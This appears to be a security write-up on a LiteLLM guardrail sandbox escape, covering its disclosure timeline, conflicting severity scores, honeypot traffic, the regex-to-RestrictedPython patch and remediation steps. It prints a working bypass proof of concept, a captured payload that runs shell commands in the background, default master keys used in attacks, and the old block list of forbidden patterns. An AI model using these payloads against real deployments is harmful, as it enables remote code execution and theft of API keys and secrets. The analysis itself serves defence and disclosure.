LiteLLM CVE-2026-40217 沙箱逃逸剖析:正則表達式防護為何失效
A Regex Was Guarding a Compiler: Inside LiteLLM's CVE-2026-40217 Sandbox Escape
LiteLLM 的 CVE-2026-40217 可繞過自訂 guardrail 的正則表達式檢查,透過修改程式碼物件的名稱表逃逸沙箱並執行系統命令。CISA 於 2026 年 11 月 18 日將漏洞加入 KEV;蜜罐在 2026 年 4 月 15 日至 5 月 24 日記錄 569 次相關請求,其中包括外傳環境變數的載荷。
文章串連漏洞利用原理、實際蜜罐流量與修補變更,呈現以來源字串過濾程式碼時,檢查結果如何偏離執行時行為。
This is the English edition of a Korean report published on 19 November 2026. The original is at dohyeontech.github.io.
On 18 November 2026, CISA released catalog version 2026.11.18 (1,786 entries) and added the bytecode-rewriting RCE in BerriAI LiteLLM's /guardrails/test_custom_code endpoint (CVE-2026-40217). The remediation deadline is 2 December, ransomware campaign use is Unknown, and forensic triage under BOD 26-04 is No. The weakness is classified CWE-420 (unprotected alternate channel) in the CVE record, with Red Hat's analysis adding CWE-94 (improper control of code generation). A KEV listing is an observation that the defect was used in attacks — and also that it took seven months from disclosure to reach that stage.
Laid out chronologically, the nature of the bug gets clearer. Markus Vervier of X41 D-Sec built and reported a PoC on 13 February 2026, and the vendor committed e50b4486 on 24 February adding an admin authentication dependency and a list of 34 regular expressions. When X41 published advisory X41-2026-001 on 8 April, the CVSS 4.0 score was 8.7 (AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H) and the confirmed fixed version read "TBD." On 15 April the vendor committed 0a1b442, deleting code_validator.py, and that release was 1.83.10. NVD published its record on 10 April at CVSS 3.1 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) — HIGH. The GitHub advisory GHSA-wxxx-gvqv-xp7p, scored by the CNA, appeared on 7 May calling the same vulnerability Moderate 5.9 (AC:H/PR:H/VC:L/VI:L/VA:H). One defect, three scores: 8.7, 8.8, 5.9. That gap is the substantive lesson here. The justification for the lower score was "requires administrator credentials," and in real intrusions that premise did not hold.
It fails in two directions. First, LiteLLM's deployment habits turn admin credentials into a publicly issued commodity. Of the 3,074 internet-exposed LiteLLM instances Wiz Research found on Shodan in February 2026, 294 (9.6%) accepted the documentation example key sk-1234 as-is, and 191 of those (6.2%) had no master key configured at all, so any string passed. An August rescan found more than 85,000, but most were honeypots and test deployments, so the two figures cannot be compared. ZoomEye counted 35,130 fingerprinted LiteLLM instances as of 20 September. Per Wiz, LiteLLM is present in roughly a third of cloud environments. Second, LiteLLM's own privilege-escalation chain (CVE-2026-47101, CVE-2026-47102), published by Obsidian Security in June, lifts a default internal_user to proxy_admin in two steps — issue a key with admin route rights via /key/generate, then overwrite user_role via /user/update — for a combined CVSS of 9.9. The effective privilege requirement for this vulnerability therefore drops from PR:H to "a low-privilege account somewhere on the gateway."
When the gateway falls, the blast radius comes from where it sits. The LiteLLM proxy holds every provider API key (OpenAI, Anthropic, Gemini, Bedrock, Azure), every prompt and response passes through its body, and in deployments used as an MCP gateway it also carries OAuth tokens and internal tool credentials. LITELLM_MASTER_KEY, the LITELLM_SALT_KEY that decrypts database credentials, and DATABASE_URL live in the same host environment. That environment is exactly the path this vulnerability reaches for. The payload seen in a May honeypot targets precisely that.
1. The guardrail tester: a trust boundary one string check thick
LiteLLM's custom code guardrail is a feature where an administrator writes a Python function and the proxy compiles it to run on the request and response path. The signature apply_guardrail(inputs, request_data, input_type) returns allow, block or modify; typical uses are PII masking or blocking secrets in prompts. Two endpoints compile code for it: the production POST /guardrails (compiled into an in-memory callback as soon as it is registered), and POST /guardrails/test_custom_code, which lets you try code before registering it. The two shared a compile function, and they shared the defect.
Before disclosure, the compile path was _compile_custom_code() in litellm/proxy/guardrails/guardrail_hooks/custom_code/custom_code_guardrail.py. If the custom_code string in the request body passed validation, it went straight into compile(), then exec() with a globals dict copied from the allowed primitives.
exec_globals = get_custom_code_primitives().copy()
# Execute the user code in the restricted environment
exec(compile(self.custom_code, "<guardrail>", "exec"), exec_globals)
That dict has no __builtins__ key. When the globals passed to exec() lack __builtins__, CPython quietly injects the real builtins module. So this path did not contain a sandbox, it contained a full namespace of built-in functions, and import os worked as-is on a production endpoint the administrator had locked down. Obsidian reported this variant under the same CVE-2026-40217 rather than requesting a separate one.
The test endpoint had one more layer. validate_custom_code() in code_validator.py (63 lines) matched submitted source against 34 regular expressions with re.search(), throwing CustomCodeValidationError on any hit. Reading the list is reading the developer's threat model, transcribed.
FORBIDDEN_PATTERNS: List[Tuple[str, str]] = [
(r"\bimport\s+", "import statements are not allowed"),
(r"__import__\s*\(", "__import__() is not allowed"),
(r"\bexec\s*\(", "exec() is not allowed"),
(r"\beval\s*\(", "eval() is not allowed"),
(r"\bopen\s*\(", "open() is not allowed"),
(r"__builtins__", "__builtins__ access is not allowed"),
(r"__globals__", "__globals__ access is not allowed"),
(r"__code__", "__code__ access is not allowed"),
(r"__class__", "__class__ access is not allowed"),
(r"\bos\.", "os module access is not allowed"),
(r"\bsubprocess\.", "subprocess module access is not allowed"),
# ... 23 more
]
Validation runs once, before compile(). Source that passes is compiled to bytecode, and at execution exec_globals["__builtins__"] = {} overwrites the name. Those are the two defenses the vendor added in February: authentication, Depends(user_api_key_auth) plus a role check returning 403 for non-admins, and this regex list. Authentication closed the unauthenticated path X41 originally reported. The regex list was designed as defense in depth behind it.
The invariant that broke was "what is checked is what runs." The regex engine reads a source string; CPython executes the value that string computes. An expression built from six string literals and + contains no contiguous __globals__ substring at any offset. re.search() returns None, and the interpreter concatenates the six pieces at runtime into __globals__. The checking layer and the executing layer were looking at different artifacts.
2. Change one slot in co_names and the interpreter runs different code
X41's bypass takes six steps, none of them obfuscation tricks. They are what a dynamic interpreter does anyway.
Step one is string concatenation: write "__globals__" as "_"+"_gl"+"ob"+"als"+"_"+"_", and the regex misses it while the interpreter builds it. Step two uses str.mro()[1] instead of __class__; the list catches the dunder spelling __mro__ but not the bare token mro, and str.mro()[1] is object. Step three uses gi_code instead of __code__; a generator iterator's gi_code points at the same code object as that function's __code__, and the list has no gi_code, no replace and no co_names.
def apply_guardrail(inputs, request_data, input_type):
obj = str.mro()[1] # object
def g(fn):
yield fn.placeholder # this attribute name changes below
c = g(None).gi_code # gi_code instead of __code__
gn = "_"+"_gl"+"ob"+"als"+"_"+"_" # "__globals__"
cn = "_"+"_co"+"de_"+"_" # "__code__"
obj.__setattr__(g, cn, c.replace(co_names=(gn,)))
for v in g(http_get):
gd = v
break
bn = "_"+"_bu"+"ilt"+"ins"+"_"+"_"
imp = gd[bn]["_"+"_im"+"po"+"rt_"+"_"]
return {"rce": imp("os").popen("id").read()}
Step four is the core. code.replace(co_names=("__globals__",)) builds a new code object with a swapped name table, since code objects are immutable and replace() is the sanctioned way to derive one. co_names is the tuple of names the bytecode resolves at LOAD_ATTR and LOAD_GLOBAL. The original yield fn.placeholder compiled as "read the placeholder attribute of the argument fn"; with the name table swapped, the same bytecode reads "the __globals__ of the argument fn." No forbidden token ever appears in the source, and validation is already finished. This works for one simple reason: the sandbox had no runtime attribute-access hook such as RestrictedPython's _getattr_. Attribute names resolve at execution time from co_names, not at compile time, and without a hook that name executes whether or not it is a dunder.
In step five, http_get is passed into g(). The __globals__ of the sandbox's HTTP helper is not the sandbox globals but the globals of the LiteLLM module that defined it, where __builtins__ is the real builtins module. exec_globals["__builtins__"] = {} constrains only global name lookup inside the compiled source; it cannot touch a path that climbs through objects living in other modules. Step six is imp("os").popen("id").read(). On the default Docker image that returns uid=0(root). X41's PoC reproduces with one line: docker run … -e LITELLM_MASTER_KEY=sk-litellm-master-key ghcr.io/berriai/litellm:main-latest.
3. Observed traffic: 520 probes on 15 April, environment exfiltration in May
Zenity Labs's honeypot record shows this defect did not stay a proof of concept. Between 15 April and 24 May 2026, sensors received 569 POST /guardrails/test_custom_code requests. The time series is the interesting part. On 15 April — patch day itself — 520 identical requests arrived carrying def apply_guardrail(i,r,t): return {'probe':1}. If a 200 response echoes the return value, that answers two questions at once: my key is valid, and this endpoint really executes my code and returns the result. Reconnaissance first, exploitation second.
Authentication headers rotated through 47 documentation default values such as sk-1234, sk-litellm-master-key, sk-admin and sk-changeme, and 64 requests carried no auth header at all. The May payloads came from different IPs. One reassembled import os from string fragments, serialized dict(os.environ) to JSON and returned it in the response — environment exfiltration. The other ran in the background without waiting for a result.
def apply_guardrail(inputs, request_data, input_type):
coro = http_request("http://127.0.0.1")
imp = coro.cr_frame.f_builtins["__import__"]
sp = imp("subprocess")
cmd = inputs["texts"][0] if inputs.get("texts") else "id"
sp.Popen(cmd, shell=True) # no wait - dodges the 5s execution limit
coro.close()
return block("executed in background")
That variant uses a coroutine's cr_frame instead of a generator, reaching the frame's builtins table directly through f_builtins. The comment explains why, and it is practical: the endpoint has an execution limit of roughly five seconds, so launching a process with Popen and not waiting keeps the command alive past the cutoff. Zenity planted a canary (CANARY_LEAKED_OK_777) in the vulnerable version (1.83.0) and replayed the captured payloads, confirming that the environment dump returned the canary and the Popen payload executed. In the same experiment, a plain variant using import os verbatim was stopped by the regex with Security violation: import statements are not allowed. The list blocks the obvious spelling; the bypass assembles the spelling at runtime.
The traffic matches the CVE. Every request hits this CVE's exact endpoint, uses LiteLLM's apply_guardrail() signature, and performs the bypass the advisory describes. Zenity's published indicators:
| Signal | Value |
|---|---|
| Abused endpoint | POST /guardrails/test_custom_code |
| Reconnaissance signature | a guardrail returning only {'probe':1}
|
| Exfiltration signature | reassembled dunder strings, gi_code / cr_frame / f_builtins, dict(os.environ), subprocess.Popen(..., shell=True)
|
| Credential attempts | rotation through documentation master keys (sk-1234, sk-litellm-master-key, sk-admin, sk-changeme) |
| Source IPs |
173.249.198.201, 108.78.4.10, 216.26.226.182, 125.81.162.148, 5.34.179.24, 164.52.192.134
|
Public material alone cannot settle why the KEV listing came seven months after disclosure. What the record shows at that point is clear enough: NVD's SSVC record still read exploitation: poc, technicalImpact: total as of 15 June, and KEV updated that state to observed exploitation. The No on forensic triage is an administrative distinction; given what this vulnerability does — reads the entire environment — triage is the thing more needed, not less.
4. The patch: the check moves from source strings to AST and runtime
Commit 0a1b442 on 15 April deleted code_validator.py and added sandbox.py. The new compile path is not regexes; it is RestrictedPython.
def compile_sandboxed(source: str, filename: str = " ") -> CodeType:
return compile_restricted(
source=source,
filename=filename,
mode="exec",
policy=AsyncAwareTransformer,
)
compile_restricted() parses source to an AST and walks the tree, rejecting nodes such as Import, ImportFrom, Exec, Eval, ClassDef and dunder attribute access structurally. Two string literal nodes and a + operator node are not the string __globals__, so the AST gate does not object to them. Instead it catches the moment a computed name is used in an attribute access. The new sandbox globals bind RestrictedPython's guards by name.
def build_sandbox_globals() -> dict[str, object]:
return {
**get_custom_code_primitives(),
"__builtins__": _build_sandbox_builtins(),
"_getattr_": safer_getattr,
"_getitem_": default_guarded_getitem,
"_getiter_": budgeted_iter,
"_iter_unpack_sequence_": guarded_iter_unpack_sequence,
"_write_": full_write_guard,
"_inplacevar_": _inplacevar_,
"_budget_ok_": budget_ok,
}
With _getattr_ bound to safer_getattr, an attribute access whose computed name starts with an underscore is blocked at execution time. The __builtins__ slot now holds a curated set — safe_builtins, limited_builtins and utility_builtins combined — rather than an empty dict. limited_range rejects range(10**18), so sequences and ranges get ceilings, and AsyncAwareTransformer allows async def/await, which the default transformer blocks, for the documented guardrail pattern, inserting an execution-budget check into while conditions instead. Thirty-four regexes are gone, and the check now sits on the artifact the interpreter actually sees: the AST, and computed attribute names.
Version coverage:
| Product | Vulnerable range | Fixed | Note |
|---|---|---|---|
| LiteLLM (pip, Docker) | 1.81.8 up to but not including 1.83.10 | 1.83.10 or later | released 2026-04-15, code_validator.py removed |
| LiteLLM incl. the privilege-escalation chain | same | 1.83.14-stable or later | 2026-04-25, includes CVE-2026-47101 and 47102 |
Red Hat AAP 2.6 lightspeed-chatbot-rhel9
|
bundled LiteLLM | RHSA-2026:24866 / RHSA-2026:30056 | Red Hat analysis (CWE-94) |
| Red Hat OpenShift AI 3.3 · Lightspeed Core | bundled LiteLLM | same RHSAs | as above |
One caveat. The body of GHSA-wxxx-gvqv-xp7p says "Fixed in 1.83.11" while the package table on the same page lists patched as >= 1.83.10. The release that contains the actual fix commit is 1.83.10, and anything at or above it closes this defect. As of 18 November 2026 the repository's latest release was v1.111.0-rc.1 (a pre-release), so deployments on the current line are out of scope. What is dangerous are deployments that pinned an image between February and April.
A reasonable order of operations:
-
Check the version:
pip show litellm, ordocker exec <proxy> pip show litellm. Anything in 1.81.8–1.83.9 is in scope immediately. For deployments pinned by digest, check the digest, not the tag. -
Mitigate now: until you upgrade, return 403 for
POST /guardrails/test_custom_codeat the reverse proxy or gateway. In nginx:location = /guardrails/test_custom_code { deny all; return 403; }. The production compile paths (POST /guardrails,PUT /guardrails/{id}) are covered by the same CVE, so check whether any admin-privileged key has leaked as well. -
Clean up credentials: if the master key is
sk-1234or a documentation example, admin access is already public regardless of this vulnerability. Rotate it, and look atLITELLM_SALT_KEYandDATABASE_URLtoo. The master key also signs session JWTs with HS256, so knowing it lets an attacker forge arbitrary user sessions. -
Reduce privilege: the default image runs as root. Use the non-root image variant or lower it with
--user, and do not expose the admin port (4000) to the internet. A management plane is not something that belongs on the public internet in the first place. -
Detect and follow up: in proxy logs, look for external POSTs to
test_custom_code, forprobein request bodies, forgi_code/cr_frame/f_builtins/dict(os.environ)/Popen(..., shell=True)patterns, and for rotatingsk-values in auth attempts. If a breach is suspected, order matters: assume every provider key was exposed the moment the environment was read, and rotate provider keys first, then the master and salt keys, then database passwords. Include MCP tool tokens and cloud IAM credentials attached beneath the proxy in that scope.
What stays with you from this case is less about patch speed than about where the check lives. Implement a sandbox as a check over source strings and that check cannot see what the interpreter will compute. Add gi_code to the list and the next bypass arrives as cr_code or __class_getitem__. What the vendor eventually deleted was 63 lines of regex; the replacement stands where the interpreter actually looks — the AST and a runtime attribute hook. The thing to verify right now is a version number. What remains is that for seven months this was classified as "Moderate, admins only" while, in deployments on the default master key, that premise never held at the start.
Appendix: the three listings that appeared alongside it
CVE-2024-10441 (Synology DSM / BeeStation OS) is an output-encoding defect in a system plugin daemon from PWN2OWN 2024, CVSS 9.8 (AV:N/AC:L/PR:N/UI:N). DSM needs 7.2-64570-4, 7.2.1-69057-6 or 7.2.2-72806-1 or later, BSM 1.1-65374 or later. Arriving in KEV two years after the patch reads as exploitation observed on unpatched devices. CVE-2026-90817 (Vanderbilt REDCap) reaches DataImportController:index by double URL-encoding __passthru (%2569ndex.php) through a public survey context in 13.3.0 and later, then overwrites the Blade cache with a PHP filter chain in fname — unauthenticated RCE, CVSS 9.8. One valid survey hash is enough; fixed in 16.0.49 LTS, 17.3.10 LTS and 17.4.4. Both carry a 21 November deadline with forensic triage required (Yes). CVE-2026-90436 (Apache Axis) was covered in the 17 November briefing and is left out here.
Originally published in Korean at dohyeontech.github.io.
來源:DEV Community · dev.to